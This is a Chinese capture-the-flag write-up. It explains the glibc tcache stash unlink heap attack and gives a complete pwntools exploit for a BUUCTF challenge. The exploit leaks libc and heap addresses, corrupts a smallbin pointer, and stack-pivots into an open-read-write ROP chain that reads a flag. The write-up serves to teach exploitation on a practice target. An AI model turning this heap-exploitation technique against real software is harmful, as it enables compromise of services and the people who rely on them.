(BUUCTF)Black_Watch_入群题_PWN2 (tcache stash unlink attack原理和例题)

文章目录

  • 前置知识
    • tcache_stash_unlink_attack
  • 整体思路
  • exp

前置知识

  • calloc
  • tcache stash unlink attack
  • 沙箱,需要进行orw(open-read-write)
  • 栈迁移

tcache_stash_unlink_attack

tcache stash unlink可以达成两个目的:

  • 任意地址申请一个fake chunk
  • 往任意地址写一个main_arena地址

看起来就像fastbin attackunsortedbin attack的结合,威力很强,但是同时利用条件也非常苛刻:

  • 需要保证同一种大小的chunktcache中有5个,而在smallbin中有2个。(一般利用)
  • 至少进行一次calloc
  • 需要UAF来对smallbin中的chunk进行修改

其原理是:

首先需要知道calloccallocmalloc有两个不同点,其一是会自动清零申请到的chunk,其二是calloc不会申请tcache中的chunk。而smallbin有一个特点,那就是当smallbin中的chunk被申请后,其通过bk相连的所有chunk都会被挂入tcache

由此,我们可以修改后插入的chunk(它的bk指针指向main_arena)的bk指针,使其指向我们控制的fake_chunk。只要进行一次callocglibc会使得其从smallbin中申请一个chunk,然后将剩下的smallbin中的chunk都挂入tcache(包括我们修改后的smallbin chunk)。当我们修改后的chunk被挂入tcache后,由于其是通过bk指针来寻找下一个chunk的,因此会将fake_chunk也挂入tcache

然后,其会试图再将fake_chunkbk也挂入tcache,其中会使得:bck->fd=bin,会使得fake_chunkbk指针指向的chunkfd写一个main_arena地址。因此,若我们想要在target_addr写一个main_arena的值,我们需要控制fake_chunkbck的值为target_addr-0x10

整体思路

整道题是一个非常典型的tcache stash unlink attack的利用。观察程序,只能申请4种不同的chunk,而且是使用calloc申请。存在UAF。可以进行编辑,但是一共只能进行一次。这些条件会使得即使存在UAF,也难以利用其进行tcache poisoningfastbin attack。输入666可以进入secret函数,secret函数中只要指定的地址是一个libc地址,就可以使用栈溢出来控制程序执行流。往这里写libc地址的方法无非就是unsortedbin attacklargebin attacktcache stash unlink attack,而calloc的使用已经非常明显地暗示我们使用tcache stash unlink这种攻击方法了。

由于只有calloc而没有malloc,即使将fake_chunk放入了tcache我们也无法利用。那么,我们大致流程只需要进行tcache stash unlink attack来把指定地址(后文称为target_addr)写为main_arena地址,然后利用secret函数,通过栈迁移到可控的堆块中进行orw即可。

整体的利用思路如下:

  • 申请五个大小为0x100chunk备用。(待会用于释放掉之后成为tcache stash unlink利用中的那5tcache
  • 利用UAF,通过申请大小为0x410chunk来在unsortedbin中留下两个大小为0x410chunk,分别用于泄露堆地址和libc地址
  • 申请两个大小为0x310chunk,使其切割上述两个大小为0x410chunk为两个大小为0x100chunk。再申请一个使得都进入small bin
  • 释放五个最开始备用的chunk进入tcache。同时构造一个fake_chunk,在其bk处写target_addr - 0x10
  • 控制后进入smallbinchunkbk指针,使其指向fake_chunk
  • 申请一个大小为0x100chunk进行一次calloc,完成target_addr写一个堆地址。
  • 进入secret函数中利用栈溢出,栈迁移到提前布置了orw的堆块中进行读取flag

exp

from pwn import *
from LibcSearcher import *

filename = './black_watch'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.29-0ubuntu2_amd64/libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node4.buuoj.cn', 27210)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Your input: '

menu_add = 1
add_index_words = 'Please input the red packet idx: '
add_size_words = 'How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): '
add_content_words = 'Please input content: '

menu_del = 2
del_index_words = 'Please input the red packet idx: '

menu_show = 4
show_index_words = 'Please input the red packet idx: '

menu_edit = 3
edit_index_words = 'Please input the red packet idx: '
edit_size_words = ''
edit_content_words = 'Please input content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if size == 0x10:
        sh.sendlineafter(add_size_words, '1')
    elif size == 0xf0:
        sh.sendlineafter(add_size_words, '2')
    elif size == 0x300:
        sh.sendlineafter(add_size_words, '3')
    elif size == 0x400:
        sh.sendlineafter(add_size_words, '4')
    else:
        exit(0)
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def secret(payload):
    sh.sendlineafter(choice_words, '666')
    sh.sendafter('What do you want to say?', payload)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

# 先申请5个大小为0x100的chunk备用
for i in range(12, 12+5):
    add(index=i, size=0xf0, content='aaa')

# 下面总体是申请10个大小为0x410的chunk,但是为了不让释放到unsortedbin里面的chunk合并,采用了分步骤申请释放的方式
add(index=0, size=0x400, content='z'*0x400)
add(index=1, size=0x400, content='bbb')
for i in range(2, 2+8):
    add(index=i, size=0x400, content='aaa')

for i in range(3, 2+8):
    delete(index=i)

# 由于存在UAF,可以直接进行一个libc的泄露
delete(index=0)
show(index=0)
leak_libc = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('leak_libc', leak_libc)
libc.address = leak_libc - 0x1e4ca0
leak_info('libc.address', libc.address)
# 释放到unsortedbin,如此利用UAF可以进行一个堆地址的泄露
delete(index=2)
show(index=2)
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x1760
leak_info('heap_base', heap_base)

# 最终需要修改的目标地址
target_addr = heap_base + 0xa60
leak_info('target_addr', target_addr)

# 申请两个大小为0x310的chunk,如此会使得在unsortedbin里面的大小为0x410的两个chunk被切割为两个0x100的chunk
add(index=3, size=0x300, content='aa')
add(index=4, size=0x300, content='bbb')
# 再申请一个大小为0x310的chunk,使得两个切割后为0x100的chunk被置入small bin
add(index=5, size=0x300, content='aa')

# 释放最开始申请的五个大小为0x100的chunk进入tcache,此时已经满足利用雏形:大小为0x100的chunk在tcache中有五个,smallbin中有两个
for i in range(12, 12 + 5):
    delete(index=i)

# 申请一个chunk作为fake chunk,由于tcache_stash_unlink可以在fake_chunk的bck的fd指针处写值,我们将bck写为target_addr-0x10
add(index=6, size=0x300, content=p64(0) + p64(target_addr - 0x10))
fake_chunk_addr = heap_base + 0x4310
leak_info('fake_chunk_addr', fake_chunk_addr)
# 修改smallbin最后一个chunk的bk指针时,需要保留fd指针,因此需要记录下来
fd_addr = heap_base + 0x2290

# 由于我们需要修改的smallbin是被切割出来的,我们可以通过切割前的chunk指针来对其进行修改,同时将orw的rop链写在上面
orw_addr = heap_base + 0x1770
leave_ret = libc.address + 0x58373
pop_rdi = libc.address + 0x26542
pop_rsi = libc.address + 0x26f9e
pop_rdx = libc.address + 0x12bda6
pop_rax = libc.address + 0x47cf8
syscall = libc.address + 0xcf6c5

orw_payload = b'/flag\x00aa' + p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(orw_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
orw_payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x500) + p64(pop_rdx) + p64(0x30) + p64(syscall)
orw_payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x500) + p64(pop_rdx) + p64(0x30) + p64(syscall)

# 写下orw的rop链的同时,修改smallbin最后一个chunk的bk指针,同时保留fd指针
edit(index=0, content=orw_payload.ljust(0x300, b'a') + p64(0) + p64(0x101) + p64(fd_addr) + p64(fake_chunk_addr))
debug()
# 再次进行calloc将会使得fake_chunk被挂入tcache,同时fake_chunk的bck有:bck->fd = bin,导致target_addr被写值
add(index=7, size=0xf0, content='a')

# 这样一来就通过了secret函数的条件,写栈溢出,通过栈迁移来执行orw
payload = b'a'*0x80 + p64(orw_addr) + p64(leave_ret)
secret(payload)
flag = sh.recvuntil(b'\x0a', drop=True).decode('utf-8')
print(flag)

你可能感兴趣的:(pwn_writeup,网络安全,安全,系统安全)